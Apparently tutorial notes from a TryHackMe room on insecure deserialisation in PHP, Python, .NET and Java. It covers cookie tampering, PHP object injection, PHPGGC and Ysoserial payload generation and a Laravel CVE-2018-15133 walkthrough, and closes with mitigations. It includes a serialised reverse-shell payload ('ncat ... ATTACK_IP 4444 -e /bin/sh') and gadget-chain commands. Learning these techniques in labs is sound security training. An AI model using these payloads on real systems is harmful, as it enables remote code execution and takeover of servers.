Serialisation
Serialisation is just like taking different pieces of information (like notes) and putting them together to make them easy to store or send to a friend.
Serialisation is the process of transforming an object's state into a human-readable or binary format (or a mix of both) that can be stored or transmitted and reconstructed as and when required.
Example:
<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!");
$serialisedNote = serialize($noteArray); // Converting the note into a storable format
file_put_contents('note.txt', $serialisedNote); // Saving the serialised note to a file
?>
Serialised Note: a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";}
Deserialisation
Deserialisation is like unpacking your school bag when you get to class; you take out each item so you can use it throughout the day. As you unpack your bag to get your books and lunch, deserialisation takes the packed-up data and turns it back into something you can use.
Deserialisation is the process of converting the formatted data back into an object.
Example:
<?php
$serialisedNote = file_get_contents('note.txt'); // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote); // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>
Serialisation Formats
PHP
- Uses the
serialize()
function
Example, where a PHP class called Notes to represent each note and handle serialisation and deserialisation:
class Notes {
public $Notescontent;
public function __construct($content) {
$this->Notescontent = $content;
}
}
Code that serialises the Notes class object:
$note = new Notes("Welcome to THM");
$serialized_note = serialize($note);
you enter the string Welcome to THM, it will generate the output O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
.
decode the output:
-
O:5:"Notes":1:
: This part indicates that the serialised data represents an object of the class Notes, which has one property. -
s:7:"content"
: This represents the property name "content" with a length of 7 characters. In serialised data, strings are represented withs
followed by the length of the string and the string in double quotes. Integers are represented withi
followed by the numeric value without quotes. -
s:14:"Welcome to THM"
: This is the value of the **content **property, with a length of 14 characters.
More Important Methods
-
__sleep()
: This method is called on an object before serialisation. It can clean up resources, such as database connections, and is expected to return an array of property names that should be serialised. -
__wakeup()
: This method is invoked upon deserialisation. It can re-establish any connections that the object might need to operate correctly. -
__serialize()
: As of PHP 7.4, this method enables you to customise the serialisation data by returning an array representing the object's serialised form. -
__unserialize()
: This counterpart to__serialize()
allows for customising the restoration of an object from its serialised data.
Python
- Uses Pickle to serialise and deserialise objects.
Here is the code snippet from the app.py
class:
import pickle
import base64
...
serialized_data = request.form['serialized_data']
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickled."
...
elif request.method == 'POST':
if 'pickle' in request.form:
content = request.form['note_content']
notes_obj.add_note(content)
pickled_content = pickle.dumps(notes_obj)
serialized_data = base64.b64encode(pickled_content).decode('utf-8')
binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
message = "Notes pickled successfully."
Serialisation occurs using function pickle.dumps()
, then encoded into base64 using base64.b64encode()
for security.
To deserialise, it is base64 decoded using base64.b64decode()
then deserialised using pickle.loads()
.
Pickling: When astring is pickled, it is converted into a binary format that is not human-readable. This binary format contains information about the data type, the data itself, and other necessary metadata to reconstruct the object.
Base64 encoding: The binary form of the pickled data is then encoded into a Base64 string, which might look something like
gASVIQAAAAAAAACMBFdlbGNvbWXCoGFkZYFdcQAu
.
Eolution of Serialization in .NET and Ruby
-
.NET Serialization
- BinaryFormatter: Previously used for binary serialization, now discouraged due to security risks.
- Modern Alternatives:
-
System.Text.Json
for JSON serialization. -
System.Xml.Serialization
for XML processing. - Trend: Shift towards safer, standardized data formats.
-
Ruby Serialization
- Marshal: Used for object serialization and deserialization.
- YAML: Preferred for human-readable data storage and interchange.
Identification
With Source Code Access
- Look for functions like
serialize()
,unserialize()
, andpickle.loads()
Without Source Code Access
Understanding the Challenge
- Without source code access, testing relies on external observations.
- Identifying serialization usage and vulnerabilities requires analyzing responses and stored data.
Analysing Server Responses
-
Error Messages
- Look for errors mentioning
unserialize()
or Object deserialization error. - Such messages hint at serialization processes that could be exploitable.
- Look for errors mentioning
-
Application Behaviour
- Modifying inputs (cookies, POST data) and observing inconsistencies can reveal serialization flaws.
Examining Cookies for Serialization
-
Base64 Encoded Values
- PHP and .NET often store serialized data in base64 format within cookies.
- Decoding may expose structured serialized objects.
-
ASP.NET View State (
__VIEWSTATE
)- A base64-encoded field used in .NET applications.
- Analyzing its contents can reveal serialized data that might be manipulated.
As a pentester, appending a tilde ~
at the end of a PHP file name is a common technique attackers use to try to access backup or temporary files created by text editors or version control systems. When a file is edited or saved, some text editors or version control systems may make a backup copy of the original file with a tilde appended to the file name.
Exploitation 1: Update Properties
- Serialised cookie: After decoding the base64-encoded cookie value, we obtain the following serialised representation of the Notes object:
O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}
Breakdown:
- O:5:"Notes":3: This represents an object (O) with the class name Notes, which has three properties.
-
s:4:"user";s:5:"guest": This indicates a string (s) with a length of 4 characters, representing the property
user
with the value "guest". -
s:4:"role";s:5:"guest": Similar to the previous one, it represents the property
role
with the value "guest". -
s:12:"isSubscribed";b:0: This represents a boolean (b) property named
isSubscribed
with the value of false (0).
To exploit this, simply change the b:0
to b:1
, returning true
for the isSubscribed property, encode it back to base64 and use it as the cookie.
--
Exploitation 2: Object Injection
Object injection is a vulnerability that arises from insecure data deserialisation in web applications. It occurs when untrusted data is deserialised into an object, allowing attackers to manipulate the serialised data to execute arbitrary code, leading to serious security risks.
To exploit a PHP Object Injection vulnerability, the application should include a class featuring a PHP magic method (like __wakeup
or __sleep
) that can be exploited for malicious purposes. All classes involved in the attack should be declared before calling the unserialize()
method (unless object autoloading is supported).
Example below shows code that deserialises input directly:
<?php
class UserData {
private $data;
public function __construct($data) {
$this->data = $data;
}
..
require 'test.php';
if(isset($_GET['encode'])) {
$userData = new UserData($_GET['encode']);
$serializedData = serialize($userData);
$base64EncodedData = base64_encode($serializedData);
echo "Normal Data: " . $_GET['encode'] . "<br>";
echo "Serialized Data: " . $serializedData . "<br>";
echo "Base64 Encoded Data: " . $base64EncodedData;
} elseif(isset($_GET['decode'])) {
$base64EncodedData = $_GET['decode'];
$serializedData = base64_decode($base64EncodedData);
$test = unserialize($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
echo "Serialized Data: " . $serializedData;
...
Additionally, given a function __wakeup()
is used to execute the command
property:
<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server
public function __wakeup() {
exec($this->command);
...
?>
We can exploit this by preparing the payload:
<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}
$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
?>
Execute this by php -a
, then paste in the code to get the encoded and serialised data, then send request to decode it server-side.
Automation Scripts
PHP Gadget Chain (PHPGGC) for PHP
- Provides librray of gadget chains
- Generates payload
- Customisable payload
Can be downlaoded here.
php phpggc -l
to list out all gadget chains. Example output:
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE: Command __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE: Command __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE: Command __destruct
CodeIgniter4/FD1 <= 4.3.6 File delete __destruct
CodeIgniter4/FD2 <= 4.3.7 File delete __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 RCE: Command __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE: Command __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.4.3 RCE: Command __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE: Command __destruct
The output for CakePHP/RCE1
means that the gadget chain named CakePHP/RCE1
exploits an RCE vulnerability in CakePHP versions of up to 3.9.6
. This vulnerability allows attackers to execute arbitrary commands on the server by leveraging the __destruct
magic method.
Exploitation (CVE-2018-15133)
Details about vulnerability here.
The details regarding the vulnerability can be read from the Laravel security release, but our main focus will be how we can utilise PHP gadget chains during exploitation. The vulnerability mentioned above can be exploited using three main factors:
-
Step 1: Requires
APP_KEY
from Laravel, which the framework uses to encrypt the XSRF token. - Step 2: Use PHPGGC to generate an unserialised payload executing a command. This is considered a complex task, and the tool comes to the rescue.
- Step 3: Finally, we must encrypt the payload using the APP_KEY and send the POST request. This usually varies from framework to framework.
php phpggc -l Laravel
to list all gadget chains.
php phpggc -b Laravel/RCE3 system "whoami"
to use a gadget chain to create a payload. This example shows the usage of Laravel/RCE3
executing tehc ommand whoami
on the system
with the option of -b
.
Send the paylaod along with APP_KEY
. This example sends them in the URL like so:
http://WEBSITE/cve.php?app_key=xx&payload=xxx.
After that, retrieve the token, then do a cURL request like so:
curl 10.10.207.82:8089 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Im01dXZ0QXhrVm5iUHFOZWxCSnFINHc9PSIsInZhbHVlIjoiSWxhVDZZXC9cL0dyTTNLQVVsNVN6cGpFRXdYeDVqN1RcL3d0Umhtcnd2TzlVM1I5SnZ3OVdyeVFjU3hwbFwvS2dvaUF5ZlpTcW04eThxdXdQVWE5K08xSWU4Q1FWMG5GVjhlKzJkdEUwUnhXYXNuamFaWDI4bXFIZ1FaOHRWRGtVaE1EVGRxeE8xcGp0MWc0ZjNhMU5cL1BWdlQ0ZjdwdmRJWHRFYXR1YUUyNUNHTG0rRlNqWkxDSU9vSlI1MGhUNmtFQytpdnVmTnRlTVFNKzZhRDQ0amhBRXNGaUZMcmplMWdQajhINDBsY05sNis2d28rdktGNU04bklIdEUrVGczR3hseXQ0eEF4RjJoSU1oYXZVU3ZhSk1CUjlEKzZzaEdJRHk5RXlscjhOSUh5bjl0MitUeEx2Y281VTZUY29Ea0kyRiIsIm1hYyI6ImE1OGY2MjBhZThmYjdhMTgyMzA1M2IwNGExZmJkZTMzOTA2ZDBhMDI5N2Y3OWQzNDYwNzJjZTgyNjIzNmFhMTMifQ==' > output.txt
This sends a POST
request to the website with the token, and outputs are added into the output.txt
file.
Ysoserial for Java
To use Ysoserial, an attacker would typically generate a payload with a command such as java -jar ysoserial.jar [payload type] '[command to execute]'
, where [payload type]
is the type of exploit and [command to execute]
is the arbitrary command they wish to run on the target system. For example, using the CommonsCollections1
payload type might look like this: java -jar ysoserial.jar CommonsCollections1 'calc.exe'
. This command generates a serialised object that will execute the specified command when deserialised by a vulnerable application. Ysoserial is available for downloadon GitHub.
Mitigation Measures
Red Teamer / Pentester Perspective
- Codebase analysis: Identify deserialization points in the application's codebase.
- Vulnerability identification: Use static analysis tools to detect insecure deserialization vulnerabilities.
- Fuzzing and dynamic analysis: Generate unexpected input data to test application behavior.
- Error handling assessment: Check for error messages or stack traces that reveal system details.
Secure Coder Perspective
- Avoid insecure serialization formats: Prefer JSON or XML over Java serialization.
-
Avoid
eval()
andexec()
: Prevent execution of arbitrary code. - Input validation & output encoding: Ensure only expected data is accepted and sanitized.
- Secure coding practices: Follow security principles like least privilege and defense in depth.
- Adherence to guidelines: Follow security best practices for the chosen language or framework.
Top comments (0)